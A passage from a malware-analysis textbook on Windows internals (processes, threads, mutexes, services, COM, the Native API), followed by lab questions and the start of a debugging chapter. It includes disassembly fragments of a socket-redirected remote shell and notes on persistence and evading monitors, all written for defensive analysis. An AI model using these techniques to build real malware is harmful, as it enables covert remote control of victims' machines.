The main DLL function is DllMain. It has no label and is not an export 
in the DLL, but it is specified in the PE header as the file’s entry point. The 
function is called to notify the DLL whenever a process loads or unloads the 
library, creates a new thread, or finishes an existing thread. This notification 
allows the DLL to manage any per-process or per-thread resources.
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Most DLLs do not have per-thread resources, and they ignore calls to 
DLLMain that are caused by thread activity. However, if the DLL has resources 
that must be managed per thread, then those resources can provide a hint to 
an analyst as to the DLL’s purpose.

Processes
Malware can also execute code outside the current program by creating a new 
process or modifying an existing one. A process is a program being executed 
by Windows. Each process manages its own resources, such as open handles 
and memory. A process contains one or more threads that are executed by 
the CPU. Traditionally, malware has consisted of its own independent pro-
cess, but newer malware more commonly executes its code as part of another 
process.

Windows uses processes as containers to manage resources and keep sep-
arate programs from interfering with each other. There are usually at least 
20 to 30 processes running on a Windows system at any one time, all sharing 
the same resources, including the CPU, file system, memory, and hardware. 
It would be very difficult to write programs if each program needed to manage 
sharing resources with all the others. The OS allows all processes to access 
these resources without interfering with each other. Processes also contrib-
ute to stability by preventing errors or crashes in one program from affecting 
other programs.

One resource that’s particularly important for the OS to share among 
processes is the system memory. To accomplish this, each process is given 
a memory space that is separate from all other processes and that is a sum 
of memory addresses that the process can use.

When the process requires memory, the OS will allocate memory and 
give the process an address that it can use to access the memory. Processes 
can share memory addresses, and they often do. For example, if one process 
stores something at memory address 0x00400000, another can store some-
thing at that address, and the processes will not conflict. The addresses are 
the same, but the physical memory that stores the data is not the same.

Like mailing addresses, memory addresses are meaningful only in con-
text. Just as the address 202 Main Street does not tell you a location unless 
you also have the ZIP code, the address 0x0040A010 does not tell where the 
data is stored unless you know the process. A malicious program that accesses 
memory address 0x0040A010 will affect only what is stored at that address for 
the process that contains the malicious code; other programs on the system 
that use that address will be unaffected.

Creating a New Process

The function most commonly used by malware to create a new process is 
CreateProcess. This function has many parameters, and the caller has a lot 
of control over how it will be created. For example, malware could call this 
function to create a process to execute its malicious code, in order to bypass 
Analyzing Mal icious Windows Programs 147



host-based firewalls and other security mechanisms. Or it could create an 
instance of Internet Explorer and then use that program to access malicious 
content.

Malware commonly uses CreateProcess to create a simple remote shell 
with just a single function call. One of the parameters to the CreateProcess 
function, the STARTUPINFO struct, includes a handle to the standard input, 
standard output, and standard error streams for a process. A malicious pro-
gram could set these values to a socket, so that when the program writes to 
standard output, it is really writing to the socket, thereby allowing an attacker 
to execute a shell remotely without running anything other than the call to 
CreateProcess.

Listing 7-4 shows how CreateProcess could be used to create a simple 
remote shell. Prior to this snippet, code would have opened a socket to 
a remote location. The handle to the socket is stored on the stack and 
entered into the STARTUPINFO structure. Then CreateProcess is called, and 
all input and output for the process is routed through the socket.

004010DA  mov     eax, dword ptr [esp+58h+SocketHandle]
004010DE  lea     edx, [esp+58h+StartupInfo]
004010E2  push    ecx             ; lpProcessInformation
004010E3  push    edx             ; lpStartupInfo
004010E4mov    [esp+60h+StartupInfo.hStdError], eax
004010E8mov    [esp+60h+StartupInfo.hStdOutput], eax
004010ECmov    [esp+60h+StartupInfo.hStdInput], eax
004010F0mov    eax, dword_403098
004010F5  push    0               ; lpCurrentDirectory
004010F7  push    0               ; lpEnvironment
004010F9  push    0               ; dwCreationFlags
004010FB  mov     dword ptr [esp+6Ch+CommandLine], eax
004010FF  push    1               ; bInheritHandles
00401101  push    0               ; lpThreadAttributes
00401103  lea     eax, [esp+74h+CommandLine]
00401107  push    0               ; lpProcessAttributes
00401109push    eax             ; lpCommandLine
0040110A  push    0               ; lpApplicationName
0040110C  mov     [esp+80h+StartupInfo.dwFlags], 101h
00401114call    ds:CreateProcessA

Listing 7-4: Sample code using the CreateProcess call

In the first line of code, the stack variable SocketHandle is placed into EAX. 
(The socket handle is initialized outside this function.) The lpStartupInfo 
structure for the process stores the standard output , standard input , 
and standard error  that will be used for the new process. The socket is 
placed into the lpStartupInfo structure for all three values (, , ). The 
access to dword_403098 at  contains the command line of the program to be 
executed, which is eventually pushed on the stack as a parameter . The 
call to CreateProcess at  has 10 parameters, but all except lpCommandLine, 
lpProcessInformation, and lpStartupInfo are either 0 or 1. (Some represent 
NULL values and others represent flags, but none are interesting for mal-
ware analysis.)
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The call to CreateProcess will create a new process so that all input and 
output are redirected to a socket. To find the remote host, we would need to 
determine where the socket is initialized (not included in Listing 7-4). To 
discover which program will be run, we would need to find the string stored 
at dword_403098 by navigating to that address in IDA Pro.

Malware will often create a new process by storing one program inside 
another in the resource section. In Chapter 1, we discuss how the resource 
section of the PE file can store any file. Malware will sometimes store another 
executable in the resource section. When the program runs, it will extract 
the additional executable from the PE header, write it to disk, and then call 
CreateProcess to run the program. This is also done with DLLs and other 
executable code. When this happens, you must open the program in the 
Resource Hacker utility (discussed in Chapter 1) and save the embedded 
executable file to disk in order to analyze it.

Threads
Processes are the container for execution, but threads are what the Windows 
OS executes. Threads are independent sequences of instructions that are 
executed by the CPU without waiting for other threads. A process contains 
one or more threads, which execute part of the code within a process. Threads 
within a process all share the same memory space, but each has its own pro-
cessor registers and stack.

Thread Context

When one thread is running, it has complete control of the CPU, or the CPU 
core, and other threads cannot affect the state of the CPU or core. When a 
thread changes the value of a register in a CPU, it does not affect any other 
threads. Before an OS switches between threads, all values in the CPU are 
saved in a structure called the thread context. The OS then loads the thread 
context of a new thread into the CPU and executes the new thread.

Listing 7-5 shows an example of accessing a local variable and pushing it 
on the stack.

004010DE  lea edx, [esp+58h]
004010E2  push    edx

Listing 7-5: Accessing a local variable and pushing it on the stack

In Listing 7-5, the code at  accesses a local variable (esp+58h) and stores 
it in EDX, and then pushes EDX onto the stack. Now, if another thread were 
to run some code in between these two instructions, and that code modified 
EDX, the value of EDX would be wrong, and the code would not execute 
properly. When thread-context switching is used, if another thread runs in 
between these two instructions, the value of EDX is stored in the thread con-
text. When the thread starts again and executes the push instruction, the thread 
context is restored, and EDX stores the proper value again. In this way, no 
thread can interfere with the registers or flags from another thread.
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Creating a Thread

The CreateThread function is used to create new threads. The function’s caller 
specifies a start address, which is often called the start function. Execution 
begins at the start address and continues until the function returns, although 
the function does not need to return, and the thread can run until the pro-
cess ends. When analyzing code that calls CreateThread, you will need to ana-
lyze the start function in addition to analyzing the rest of the code in the 
function that calls CreateThread.

The caller of CreateThread can specify the function where the thread starts 
and a single parameter to be passed to the start function. The parameter can 
be any value, depending on the function where the thread will start.

Malware can use CreateThread in multiple ways, such as the following:

 Malware can use CreateThread to load a new malicious library into a process, 
with CreateThread called and the address of LoadLibrary specified as the 
start address. (The argument passed to CreateThread is the name of the 
library to be loaded. The new DLL is loaded into memory in the process, 
and DllMain is called.)

 Malware can create two new threads for input and output: one to listen 
on a socket or pipe and then output that to standard input of a process, 
and the other to read from standard output and send that to a socket or 
pipe. The malware’s goal is to send all information to a single socket or 
pipe in order to communicate seamlessly with the running application.

Listing 7-6 shows how to recognize the second technique by identifying 
two CreateThread calls near each other. (Only the system calls for ThreadFunction1 
and ThreadFunction2 are shown.) This code calls CreateThread twice. The argu-
ments are lpStartAddress values, which tell us where to look for the code that 
will run when these threads start.

004016EE  lea     eax, [ebp+ThreadId]
004016F4  push    eax             ; lpThreadId
004016F5  push    0               ; dwCreationFlags
004016F7  push    0               ; lpParameter
004016F9  push offset ThreadFunction1 ; lpStartAddress
004016FE  push    0               ; dwStackSize
00401700  lea     ecx, [ebp+ThreadAttributes]
00401706  push    ecx             ; lpThreadAttributes
00401707  call ds:CreateThread
0040170D  mov     [ebp+var_59C], eax
00401713  lea     edx, [ebp+ThreadId]
00401719  push    edx             ; lpThreadId
0040171A  push    0               ; dwCreationFlags
0040171C  push    0               ; lpParameter
0040171E  push offset ThreadFunction2 ; lpStartAddress
00401723  push    0               ; dwStackSize
00401725  lea     eax, [ebp+ThreadAttributes]
0040172B  push    eax             ; lpThreadAttributes
0040172C  call ds:CreateThread

Listing 7-6: Main function of thread example
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In Listing 7-6, we have labeled the start function ThreadFunction1  for 
the first call to CreateThread  and ThreadFunction2  for the second call . To 
determine the purpose of these two threads, we first navigate to ThreadFunction1. 
As shown in Listing 7-7, the first thread function executes a loop in which it 
calls ReadFile to read from a pipe, and then it forwards that data out to a 
socket with the send function.

...
004012C5  call    ds:ReadFile
...
00401356  call    ds:send
...

Listing 7-7: ThreadFunction1 of thread example

As shown in Listing 7-8, the second thread function executes a loop that 
calls recv to read any data sent over the network, and then forwards that data 
to a pipe with the WriteFile function, so that it can be read by the application.

...
004011F2  call    ds:recv
...
00401271  call    ds:WriteFile
...

Listing 7-8: ThreadFunction2 of thread example

NOTE In addition to threads, Microsoft systems use fibers. Fibers are like threads, but are 
managed by a thread, rather than by the OS. Fibers share a single thread context.

Interprocess Coordination with Mutexes
One topic related to threads and processes is mutexes, referred to as mutants 
when in the kernel. Mutexes are global objects that coordinate multiple pro-
cesses and threads.

Mutexes are mainly used to control access to shared resources, and are 
often used by malware. For example, if two threads must access a memory 
structure, but only one can safely access it at a time, a mutex can be used to 
control access.

Only one thread can own a mutex at a time. Mutexes are important to 
malware analysis because they often use hard-coded names, which make 
good host-based indicators. Hard-coded names are common because a 
mutex’s name must be consistent if it’s used by two processes that aren’t 
communicating in any other way.

The thread gains access to the mutex with a call to WaitForSingleObject, 
and any subsequent threads attempting to gain access to it must wait. When 
a thread is finished using a mutex, it uses the ReleaseMutex function.
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A mutex can be created with the CreateMutex function. One process can 
get a handle to another process’s mutex by using the OpenMutex call. Malware 
will commonly create a mutex and attempt to open an existing mutex with 
the same name to ensure that only one version of the malware is running at a 
time, as demonstrated in Listing 7-9.

00401000 push  offset Name     ; "HGL345"
00401005 push  0               ; bInheritHandle
00401007 push  1F0001h         ; dwDesiredAccess
0040100C call  ds:__imp__OpenMutexW@12 ; OpenMutexW(x,x,x)
00401012 test  eax, eax
00401014 jz    short loc_40101E
00401016 push  0               ; int
00401018 call  ds:__imp__exit
0040101E push  offset Name     ; "HGL345"
00401023 push  0               ; bInitialOwner
00401025 push  0               ; lpMutexAttributes
00401027 call  ds:__imp__CreateMutexW@12 ; CreateMutexW(x,x,x)

Listing 7-9: Using a mutex to ensure that only one copy of malware is running on a system

The code in Listing 7-9 uses the hard-coded name HGL345 for the mutex. 
It first checks to see if there is a mutex named HGL345 using the OpenMutex call 
at . If the return value is NULL at , it jumps (at ) over the exit call and 
continues to execute. If the return value is not NULL, it calls exit at , and 
the process will exit. If the code continues to execute, the mutex is created 
at  to ensure that additional instances of the program will exit when they 
reach this code.

Services
Another way for malware to execute additional code is by installing it as a 
service. Windows allows tasks to run without their own processes or threads by 
using services that run as background applications; code is scheduled and 
run by the Windows service manager without user input. At any given time 
on a Windows OS, several services are running.

Using services has many advantages for the malware writer. One is that 
services are normally run as SYSTEM or another privileged account. This is not 
a vulnerability because you need administrative access in order to install a 
service, but it is convenient for malware writers, because the SYSTEM account 
has more access than administrator or user accounts.

Services also provide another way to maintain persistence on a system, 
because they can be set to run automatically when the OS starts, and may not 
even show up in the Task Manager as a process. A user searching through 
running applications wouldn’t find anything suspicious, because the mal-
ware isn’t running in a separate process.

NOTE It is possible to list running services using net start at the command line, but doing 
so will display only the names of running services. Programs, such as the Autoruns tool 
mentioned earlier, can be used to gather more information about running services.
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Services can be installed and manipulated via a few Windows API func-
tions, which are prime targets for malware. There are several key functions to 
look for:

OpenSCManager Returns a handle to the service control manager, which is 
used for all subsequent service-related function calls. All code that will 
interact with services will call this function.

CreateService Adds a new service to the service control manager, and 
allows the caller to specify whether the service will start automatically at 
boot time or must be started manually.

StartService Starts a service, and is used only if the service is set to be 
started manually.

The Windows OS supports several different service types, which 
execute in unique ways. The one most commonly used by malware is the 
WIN32_SHARE_PROCESS type, which stores the code for the service in a DLL, 
and combines several different services in a single, shared process. In Task 
Manager, you can find several instances of a process called svchost.exe, which 
are running WIN32_SHARE_PROCESS-type services.

The WIN32_OWN_PROCESS type is also used because it stores the code in an 
.exe file and runs as an independent process.

The final common service type is KERNEL_DRIVER, which is used for loading 
code into the kernel. (We discuss malware running in the kernel later in this 
chapter and extensively in Chapter 10.)

The information about services on a local system is stored in the registry. 
Each service has a subkey under HKLM\SYSTEM\CurrentControlSet\Services. For 
example, Figure 7-2 shows the registry entries for HKLM\SYSTEM\CurrentControlSet\
Services\VMware NAT Service.

Figure 7-2: Registry entry for VMware NAT service

The code for the VMware NAT service is stored at C:\Windows\system32\
vmnat.exe . The type value of 0x10  corresponds to WIN32_OWN_PROCESS, and 
the start value of 0x02  corresponds to AUTO_START.

The SC program is a command-line tool included with Windows that 
you can use to investigate and manipulate services. It includes commands for 
adding, deleting, starting, stopping, and querying services. For example, the 

�

�
�
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qc command queries a service’s configuration options by accessing the same 
information as the registry entry shown in Figure 7-2 in a more readable way. 
Listing 7-10 shows the SC program in action.

C:\Users\User1>sc qc "VMware NAT Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VMware NAT Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\vmnat.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VMware NAT Service
        DEPENDENCIES       : VMnetuserif
        SERVICE_START_NAME : LocalSystem

Listing 7-10: The query configuration information command of the SC program

Listing 7-10 shows the query configuration information command. This 
information is identical to what was stored in the registry for the VMware 
NAT service, but it is easier to read because the numeric values have mean-
ingful labels such as WIN32_OWN_PROCESS . The SC program has many different 
commands, and running SC without any parameters will result in a list of the 
possible commands. (For more about malware that runs as a service, see 
Chapter 11.)

The Component Object Model
The Microsoft Component Object Model (COM) is an interface standard that 
makes it possible for different software components to call each other’s code 
without knowledge of specifics about each other. When analyzing malware 
that uses COM, you’ll need to be able to determine which code will be run as 
a result of a COM function call.

COM works with any programming language and was designed to sup-
port reusable software components that could be utilized by all programs. 
COM uses an object construct that works well with object-oriented program-
ming languages, but COM does not work exclusively with object-oriented 
programming languages.

Since it’s so versatile, COM is pervasive within the underlying OS and 
within most Microsoft applications. Occasionally, COM is also used in third-
party applications. Malware that uses COM functionality can be difficult to 
analyze, but you can use the analysis techniques presented in this section.

COM is implemented as a client/server framework. The clients are the 
programs that are making use of COM objects, and the servers are the reus-
able software components—the COM objects themselves. Microsoft provides 
a large number of COM objects for programs to use.

Each thread that uses COM must call the OleInitialize or CoInitializeEx 
function at least once prior to calling any other COM library functions. So, a 
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malware analyst can search for these calls to determine whether a program is 
using COM functionality. However, knowing that a piece of malware uses a 
COM object as a client does not provide much information, because COM 
objects are diverse and widespread. Once you determine that a program uses 
COM, you’ll need to find a couple of identifiers of the object being used to 
continue analysis.

CLSIDs, IIDs, and the Use of COM Objects

COM objects are accessed via their globally unique identifiers (GUIDs) known as 
class identifiers (CLSIDs) and interface identifiers (IIDs).

The CoCreateInstance function is used to get access to COM functionality. 
One common function used by malware is Navigate, which allows a program 
to launch Internet Explorer and access a web address. The Navigate function 
is part of the IWebBrowser2 interface, which specifies a list of functions that 
must be implemented, but does not specify which program will provide that 
functionality. The program that provides the functionality is the COM class 
that implements the IWebBrowser2 interface. In most cases, the IWebBrowser2 
interface is implemented by Internet Explorer. Interfaces are identified with 
a GUID called an IID, and classes are identified with a GUID called a CLSID.

Consider an example piece of malware that uses the Navigate function 
from the IWebBrowser2 interface implemented by Internet Explorer. The mal-
ware first calls the CoCreateInstance function. The function accepts the CLSID 
and the IID of the object that the malware is requesting. The OS then searches 
for the class information, and loads the program that will perform the func-
tionality, if it isn’t already running. The CoCreateInstance class returns a pointer 
that points to a structure that contains function pointers. To use the func-
tionality of the COM server, the malware will call a function whose pointer 
is stored in the structure returned from CoCreateInstance. Listing 7-11 shows 
how some code gets access to an IWebBrowser2 object.

00401024  lea     eax, [esp+18h+PointerToComObject]
00401028  push    eax             ; ppv
00401029  push offset IID_IWebBrowser2 ; riid
0040102E  push    4               ; dwClsContext
00401030  push    0               ; pUnkOuter
00401032  push offset stru_40211C ; rclsid
00401037  call    CoCreateInstance

Listing 7-11: Accessing a COM object with CoCreateInstance

In order to understand the code, click the structures that store the IID 
and CLSID at  and . The code specifies the IID D30C1661-CDAF-11D0-8A3E-
00C04FC9E26E, which represents the IWebBrowser2 interface, and the CLSID 
0002DF01-0000-0000-C000-000000000046, which represents Internet Explorer. 
IDA Pro can recognize and label the IID for IWebBrowser2, since it’s com-
monly used. Software developers can create their own IIDs, so IDA Pro 
can’t always label the IID used by a program, and it is never able to label 
the CLSID, because disassembly doesn’t contain the necessary information.
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When a program calls CoCreateInstance, the OS uses information in the 
registry to determine which file contains the requested COM code. The HKLM\
SOFTWARE\Classes\CLSID\ and HKCU\SOFTWARE\Classes\CLSID registry keys store the 
information about which code to execute for the COM server. The value of 
C:\Program Files\ Internet Explorer\iexplore.exe, stored in the LocalServer32 sub-
key of the registry key HKLM\SOFTWARE\Classes\CLSID\0002DF01-0000-0000-C000-
000000000046, identifies the executable that will be loaded when CoCreateInstance 
is called.

Once the structure is returned from the CoCreateInstance call, the COM 
client calls a function whose location is stored at an offset in the structure. 
Listing 7-12 shows the call. The reference to the COM object is stored on the 
stack, and then moved into EAX. Then the first value in the structure points 
to a table of function pointers. At an offset of 0x2C in the table is the Navigate 
function that is called.

0040105E  push    ecx
0040105F  push    ecx
00401060  push    ecx
00401061  mov     esi, eax
00401063  mov     eax, [esp+24h+PointerToComObject]
00401067  mov     edx, [eax]
00401069  mov     edx, [edx+2Ch]
0040106C  push    ecx
0040106D  push    esi
0040106E  push    eax
0040106F  call    edx

Listing 7-12: Calling a COM function

In order to identify what a malicious program is doing when it calls a 
COM function, malware analysts must determine which offset a function is 
stored at, which can be tricky. IDA Pro stores the offsets and structures for 
common interfaces, which can be explored via the structure subview. Press 
the INSERT key to add a structure, and then click Add Standard Structure. 
The name of the structure to add is InterfaceNameVtbl. In our Navigate example, 
we add the IWebBrowser2Vtbl structure. Once the structure is added, right-click 
the offset at  in the disassembly to change the label from 2Ch to the func-
tion name IwebBrowser2Vtbl.Navigate. Now IDA Pro will add comments to the 
call instruction and the parameters being pushed onto the stack.

For functions not available in IDA Pro, one strategy for identifying the 
function called by a COM client is to check the header files for the interface 
specified in the call to CoCreateInstance. The header files are included with 
Microsoft Visual Studio and the platform SDK, and can also be found on the 
Internet. The functions are usually declared in the same order in the header 
file and in the function table. For example, the Navigate function is the twelfth 
function in the .h file, which corresponds to an offset of 0x2C. The first func-
tion is at 0, and each function takes up 4 bytes.

In the previous example, Internet Explorer was loaded as its own process 
when CoCreateInstance was called, but this is not always the case. Some COM 
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objects are implemented as DLLs that are loaded into the process space of 
the COM client executable. When the COM object is set up to be loaded as a 
DLL, the registry entry for the CLSID will include the subkey InprocServer32, 
rather than LocalServer32.

COM Server Malware

Some malware implements a malicious COM server, which is subsequently 
used by other applications. Common COM server functionality for malware 
is through Browser Helper Objects (BHOs), which are third-party plug-ins for 
Internet Explorer. BHOs have no restrictions, so malware authors use them 
to run code running inside the Internet Explorer process, which allows 
them to monitor Internet traffic, track browser usage, and communicate 
with the Internet, without running their own process.

Malware that implements a COM server is usually easy to detect because 
it exports several functions, including DllCanUnloadNow, DllGetClassObject, 
DllInstall, DllRegisterServer, and DllUnregisterServer, which all must be 
exported by COM servers.

Exceptions: When Things Go Wrong
Exceptions allow a program to handle events outside the flow of normal exe-
cution. Most of the time, exceptions are caused by errors, such as division by 
zero. When an exception occurs, execution transfers to a special routine that 
resolves the exception. Some exceptions, such as division by zero, are raised 
by hardware; others, such as an invalid memory access, are raised by the OS. 
You can also raise an exception explicitly in code with the RaiseException call.

Structured Exception Handling (SEH) is the Windows mechanism for han-
dling exceptions. In 32-bit systems, SEH information is stored on the stack. 
Listing 7-13 shows disassembly for the first few lines of a function that has 
exception handling.

01006170  push  offset loc_10061C0
01006175  mov     eax, large fs:0
0100617B  push  eax
0100617C  mov     large fs:0, esp

Listing 7-13: Storing exception-handling information in fs:0

At the beginning of the function, an exception-handling frame is put 
onto the stack at . The special location fs:0 points to an address on the 
stack that stores the exception information. On the stack is the location of an 
exception handler, as well as the exception handler used by the caller at , 
which is restored at the end of the function. When an exception occurs, 
Windows looks in fs:0 for the stack location that stores the exception infor-
mation, and then the exception handler is called. After the exception is 
handled, execution returns to the main thread.

Exception handlers are nested, and not all handlers respond to all 
exceptions. If the exception handler for the current frame does not handle 
an exception, it’s passed to the exception handler for the caller’s frame. 
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Eventually, if none of the exception handlers responds to an exception, the 
top-level exception handler crashes the application.

Exception handlers can be used in exploit code to gain execution. A 
pointer to exception-handling information is stored on the stack, and during 
a stack overflow, an attacker can overwrite the pointer. By specifying a new 
exception handler, the attacker gains execution when an exception occurs. 
Exceptions will be covered in more depth in the debugging and anti-debugging 
chapters (Chapters 8–10, 15, and 16).

Kernel vs. User Mode

Windows uses two processor privilege levels: kernel mode and user mode. All of 
the functions discussed in this chapter have been user-mode functions, but 
there are kernel-mode equivalent ways of doing the same thing.

Nearly all code runs in user mode, except OS and hardware drivers, 
which run in kernel mode. In user mode, each process has its own memory, 
security permissions, and resources. If a user-mode program executes an 
invalid instruction and crashes, Windows can reclaim all the resources and 
terminate the program.

Normally, user mode cannot access hardware directly, and it is restricted 
to only a subset of all the registers and instructions available on the CPU. In 
order to manipulate hardware or change the state in the kernel while in user 
mode, you must rely on the Windows API.

When you call a Windows API function that manipulates kernel struc-
tures, it will make a call into the kernel. The presence of the SYSENTER, SYSCALL, 
or INT 0x2E instruction in disassembly indicates that a call is being made into 
the kernel. Since it’s not possible to jump directly from user mode to the ker-
nel, these instructions use lookup tables to locate a predefined function to 
execute in the kernel.

All processes running in the kernel share resources and memory 
addresses. Kernel-mode code has fewer security checks. If code running in 
the kernel executes and contains invalid instructions, then the OS cannot 
continue running, resulting in the famous Windows blue screen.

Code running in the kernel can manipulate code running in user 
space, but code running in user space can affect the kernel only through 
well-defined interfaces. Even though all code running in the kernel shares 
memory and resources, there is always a single process context that is active.

Kernel code is very important to malware writers because more can be 
done from kernel mode than from user mode. Most security programs, such 
as antivirus software and firewalls, run in kernel mode, so that they can access 
and monitor activity from all applications running on the system. Malware 
running in kernel mode can more easily interfere with security programs or 
bypass firewalls.

Clearly, malware running in the kernel is considerably more powerful 
than malware running in user space. Within kernel space, any distinction 
between processes running as a privileged or unprivileged user is removed. 
Additionally, the OS’s auditing features don’t apply to the kernel. For these 
reasons, nearly all rootkits utilize code running in the kernel.
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Developing kernel-mode code is considerably more difficult than devel-
oping user code. One major hurdle is that kernel code is much more likely 
to crash a system during development and debugging. Too, many common 
functions are not available in the kernel, and there are fewer tools for com-
piling and developing kernel-mode code. Due to these challenges, only 
sophisticated malware runs in the kernel. Most malware has no kernel com-
ponent. (For more on analyzing kernel malware, see Chapter 10.)

The Native API

The Native API is a lower-level interface for interacting with Windows that is 
rarely used by nonmalicious programs but is popular among malware writers. 
Calling functions in the Native API bypasses the normal Windows API.

When you call a function in the Windows API, the function usually does 
not perform the requested action directly, because most of the important 
data structures are stored in the kernel, which is not accessible by code out-
side the kernel (user-mode code). Microsoft has created a multistep process 
by which user applications can achieve the necessary functionality. Figure 7-3 
illustrates how this works for most API calls.

Figure 7-3: User mode and kernel mode

User applications are given access to user APIs such as kernel32.dll and 
other DLLs, which call ntdll.dll, a special DLL that manages interactions 
between user space and the kernel. The processor then switches to kernel 
mode and executes a function in the kernel, normally located in ntoskrnl.exe. 
The process is convoluted, but the separation between the kernel and user 
APIs allows Microsoft to change the kernel without affecting existing 
applications.

The ntdll  functions use APIs and structures just like the ones used in the 
kernel. These functions make up the Native API. Programs are not supposed 
to call the Native API, but nothing in the OS prevents them from doing so. 
Although Microsoft does not provide thorough documentation on the Native 
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API, there are websites and books that document these functions. The best 
reference is Windows NT/2000 Native API Reference by Gary Nebbett (Sams, 
2000), although it is quite old. Online resources such as http://undocumented
.ntinternals.net/ can provide more recent information.

Calling the Native API directly is attractive for malware writers because it 
allows them to do things that might not otherwise be possible. There is a lot 
of functionality that is not exposed in the regular Windows API, but can be 
accomplished by calling the Native API directly.

Additionally, calling the Native API directly is sometimes stealthier. 
Many antivirus and host-protection products monitor the system calls made 
by a process. If the process calls the Native API function directly, it may be 
able to evade a poorly designed security product.

Figure 7-4 shows a diagram of a system call with a poorly designed secu-
rity program monitoring calls to kernel32.dll. In order to bypass the security 
program, some hypothetical malware uses the Native API. Instead of calling 
the Windows functions ReadFile and WriteFile, this malware calls the func-
tions NtReadFile and NtWriteFile. These functions are in ntdll.dll and are not 
monitored by the security program. A well-designed security program will 
monitor calls at all levels, including the kernel, to ensure that this tactic 
doesn’t work.

Figure 7-4: Using the Native API to avoid detection

There are a series of Native API calls that can be used to get information 
about the system, processes, threads, handles, and other items. These include 
NtQuerySystemInformation, NtQueryInformationProcess, NtQueryInformationThread, 
NtQueryInformationFile, and NtQueryInformationKey. These calls provide much 
more detailed information than any available Win32 calls, and some of these 
functions allow you to set fine-grained attributes for files, processes, threads, 
and so on.
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Another Native API function that is popular with malware authors is 
NtContinue. This function is used to return from an exception, and it is meant 
to transfer execution back to the main thread of a program after an excep-
tion has been handled. However, the location to return to is specified in the 
exception context, and it can be changed. Malware often uses this function 
to transfer execution in complicated ways, in order to confuse an analyst and 
make a program more difficult to debug.

NOTE We covered several functions that start with the prefix Nt. In some instances, such as in 
the export tables of ntdll.dll, the same function can have either the Nt prefix or the Zw 
prefix. For example, there is an NtReadFile function and a ZwReadFile function. In the 
user space, these functions behave in exactly the same way, and usually call the exact 
same code. There are sometimes minor differences when called from kernel mode, but 
those differences can be safely ignored by the malware analyst.

Native applications are applications that do not use the Win32 subsystem 
and issue calls to the Native API only. Such applications are rare for malware, 
but are almost nonexistent for nonmalicious software, and so a native appli-
cation is likely malicious. The subsystem in the PE header indicates if a pro-
gram is a native application.

Conclusion

This chapter covered Windows concepts that are important to malware anal-
ysis. The concepts such as processes, threads, and network functionality will 
come up as you’re analyzing malware.

Many of the specific malware examples discussed in this chapter are very 
common, and your familiarity with them will allow you to recognize them 
quickly in malware in order to better understand the program’s overall pur-
pose. These concepts are important to static malware analysis, and they will 
come up in the labs throughout this book, as well as in real-world malware.
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L A B S
Lab 7-1

Analyze the malware found in the file Lab07-01.exe.

Questions

1. How does this program ensure that it continues running (achieves per-
sistence) when the computer is restarted?

2. Why does this program use a mutex?

3. What is a good host-based signature to use for detecting this program?

4. What is a good network-based signature for detecting this malware?

5. What is the purpose of this program?

6. When will this program finish executing?

Lab 7-2

Analyze the malware found in the file Lab07-02.exe.

Questions

1. How does this program achieve persistence?

2. What is the purpose of this program?

3. When will this program finish executing?

Lab 7-3

For this lab, we obtained the malicious executable, Lab07-03.exe, and DLL, 
Lab07-03.dll, prior to executing. This is important to note because the mal-
ware might change once it runs. Both files were found in the same directory 
on the victim machine. If you run the program, you should ensure that both 
files are in the same directory on the analysis machine. A visible IP string 
beginning with 127 (a loopback address) connects to the local machine. (In 
the real version of this malware, this address connects to a remote machine, 
but we’ve set it to connect to localhost to protect you.)

WARNING This lab may cause considerable damage to your computer and may be difficult to 
remove once installed. Do not run this file without a virtual machine with a snapshot 
taken prior to execution.

This lab may be a bit more challenging than previous ones. You’ll need 
to use a combination of static and dynamic methods, and focus on the big 
picture in order to avoid getting bogged down by the details.
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Questions

1. How does this program achieve persistence to ensure that it continues 
running when the computer is restarted?

2. What are two good host-based signatures for this malware?

3. What is the purpose of this program?

4. How could you remove this malware once it is installed?
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PART 3
A D V A N C E D  D Y N A M I C  A N A L Y S I S





D E B U G G I N G

A debugger is a piece of software or hardware used to 
test or examine the execution of another program. 
Debuggers help in the process of developing software, 
since programs usually have errors in them when they 
are first written. As you develop, you provide the input to the program and 
see the output, but you don’t see how the program produces the output. 
Debuggers give you insight into what a program is doing while it is execut-
ing. Debuggers are designed to allow developers to measure and control the 
internal state and execution of a program. 

Debuggers provide information about a program that would be difficult, 
if not impossible, to get from a disassembler. Disassemblers offer a snapshot 
of what a program looks like immediately prior to execution of the first 
instruction. Debuggers provide a dynamic view of a program as it runs. For 
example, debuggers can show the values of memory addresses as they change 
throughout the execution of a program.

The ability to measure and control a program’s execution provides crit-
ical insight during malware analysis. Debuggers allow you to see the value 
of every memory location, register, and argument to every function. Debug-
gers also let you change anything about program execution at any time. For 



example, you can change the value of a single variable at any point in 
time—all you need is enough information about that variable, including 
its location.

In the next two chapters, we will cover two debuggers: OllyDbg and 
WinDbg. This chapter will focus on the concepts and features common to 
all debuggers.

Source-Level vs. Assembly-Level Debuggers

Most software developers are familiar with source-level debuggers, which allow 
a programmer to debug while coding. This type of debugger is usually built 
into integrated development environments (IDEs). Source-level debuggers 
allow you to set breakpoints, which stop on lines of source code, in order to 
examine internal variable states and to step through program execution one 
line at a time. (We’ll discuss breakpoints in more depth later in this chapter.)

Assembly-level debuggers, sometimes called low-level debuggers, operate on 
assembly code instead of source code. As with a source-level debugger, you 
can use an assembly-level debugger to step through a program one instruc-
tion at a time, set breakpoints to stop on specific lines of assembly code, and 
examine memory locations. 

Malware analysts make heavy use of assembly-level debuggers because 
they do not require access to a program’s source code. 

Kernel vs. User-Mode Debugging

In Chapter 7, we discussed some of the differences between Windows user 
mode and kernel mode. It is more challenging to debug kernel-mode code 
than to debug user-mode code because you usually need two different sys-
tems for kernel mode. In user mode, the debugger is running on the same 
system as the code being debugged. When debugging in user mode, you are 
debugging a single executable, which is separated from other executables by 
the OS.

Kernel debugging is performed on two systems because there is only one 
kernel; if the kernel is at a breakpoint, no applications can be running on the 
system. One system runs the code that is being debugged, and another runs 
the debugger. Additionally, the OS must be configured to allow for kernel 
debugging, and you must connect the two machines. 

NOTE It is possible to run a kernel debugger on the same system as the code being debugged, but 
it is very uncommon. A program called SoftICE used to provide this functionality, but it 
has not been supported since early 2007. No vendor currently offers a product with this 
functionality.

There are different software packages for user-mode debugging and ker-
